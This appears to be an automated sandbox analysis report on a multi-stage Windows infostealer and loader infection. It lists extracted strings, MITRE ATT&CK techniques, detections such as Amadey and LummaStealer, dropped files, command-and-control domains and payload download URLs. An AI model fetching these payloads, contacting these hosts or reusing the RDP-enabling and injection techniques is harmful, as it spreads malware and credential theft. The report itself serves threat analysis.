zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Gxtuum.exe, 0000000C.00000002.3458098302.0000000002C65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000C.00000002.3458098302.0000000002C65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh
Source: Target.exe, 0000000F.00000002.3552484919.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Target.exe, 0000000F.00000002.3552484919.0000000002D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx LKl30VKyhQDsOloGUSnPK4=AQXIxi==E1Ke8lSrAkmrUy==F06p9INohu5Q41rjKmChhLwp7XDahHpq1g6ZGZ6Xhq5i17zrH1WygKQrU3Zd3XU=JZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9F6Zr9LW041ELUXRe1FRq1VyW9INsXeJpOU==F06o8JNU3PNKN0RjNUGeUINg3Ull0qjq806vhLAv94HUhohZ4VlrHVAtRvYYCD73HZ9=AVSp6YFp3yYpJZiOQGNH1wRX2rzj8rSDg60X9nZlY3ZVMCKq7pJsfUB9K0Vn KWk0qghVXZ6U1cJKDGKOHpQWMVBI5m=JZiOQGNH1wRr1rHw86yT41LtIEv6Y3Zt3kieUZF7UeJv00DC71OwgKA2TGPi3HZqKkifUY1DVs==MBxrHFs=GEShTZNmhxRh3LHn8qezQpcPVYDofIZV0U6pGEShTZNmhxRh3LHn8qezQpgPVYDofIZV0U6pJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31JbOnJ7UVZu2qLs J0lhrIm83U=JFGqUJNdhw9d10K=BhxsJS==BhxtHi==BhxsIi==BhxtIS==F1St8oNohwNX00niMy==Dhl12lSpUIpmQrMqO18jA0pbxlOc84lleOBoxGZkEG pgWvfxgxhEktUeO5h17LYEHFgOmTdVHLlMB==ygVbMZ jhuM=xgxhEkts3O8cxAVhDC==JE6YUZBteyZo1GVjaKV=AUSZUYFVhypr1rrt8KmjjWwvVXRohHZu0UapUYIaPM3l1KKeEk==xe==20eW9IJphU8cA1CeH1RgRE==21N48y==2kCpUI1nH0S0To1bgeUcIKv387W02JwvVXno2XU=BBxrHFsUQLo=BBxrHFsUQbM=BBxrHFsUQbQ=BBxrHFsUQU2=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005DEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		6_2_005DEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005DDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		6_2_005DDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	2 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	112 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	22 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	13 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	961 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1018695001\9a2c1b4302.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	100%	Joe Sandbox ML
C:\ProgramData\wtkb\qcwew.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Bestsoundeffectives[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Target.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\10001300101\Autosoundmick.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\Baursystempower[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\Autosoundmick[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018695001\9a2c1b4302.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	54%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	75%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
pancakedipyps.click	104.21.23.76	true	false	high
treehoneyi.click	104.21.91.209	true	false	high
home.fivetk5ht.top	185.121.15.192	true	false	high
lossekniyyt.click	172.67.131.246	true	false	high
discokeyus.lat	172.67.197.170	true	false	high
cobolrationumelawrtewarms.com	89.35.131.209	true	false	unknown
httpbin.org	98.85.100.80	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high
jlgenfekjlfnvtgpegkwr.xyz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://pancakedipyps.click/api	false	high
energyaffai.lat	false	high
https://treehoneyi.click/api	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
https://discokeyus.lat/api	false	high
wodresomdaymomentum.org	true	unknown
http://cobolrationumelawrtewarms.com/3ofn3jf3e2ljk/	false	unknown
crosshuaht.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://194.126.174.112/files/Bawerfools/Bestsoundeffectives.exe1dk	Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/X	8a32a8d958.exe, 0000000D.00000003.3541323759.0000000001520000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001526000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/W	8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014A5000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014A5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	false	high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	false	high
http://crl.microsoft	ece32691cf.exe, 00000017.00000002.3722379908.0000000000889000.00000004.00000020.00020000.00000000.sdmp	false	high
http://cobolrationumelawrtewarms.com/3ofn3jf3e2ljk/Y	Gxtuum.exe, 00000010.00000002.3722554233.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/j	8a32a8d958.exe, 0000000D.00000003.3580404606.0000000001528000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3643221785.0000000001528000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3595724306.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3618669284.0000000001527000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3645296743.0000000001529000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3575596742.000000000152A000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3619407282.0000000001528000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3580002790.0000000001527000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
https://discokeyus.lat/c	8a32a8d958.exe, 0000000D.00000003.3541323759.0000000001520000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001526000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://31.41.244.11/files/x3team/random.exe	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/	1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://specs.openid.net/auth/2.0$dnoa.request_nonce	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://cobolrationumelawrtewarms.com/3ofn3jf3e2ljk/G	Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://lossekniyyt.l	87c402ca32.exe, 00000009.00000002.3520186206.0000000001346000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/bckosq/random.exe760qx	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
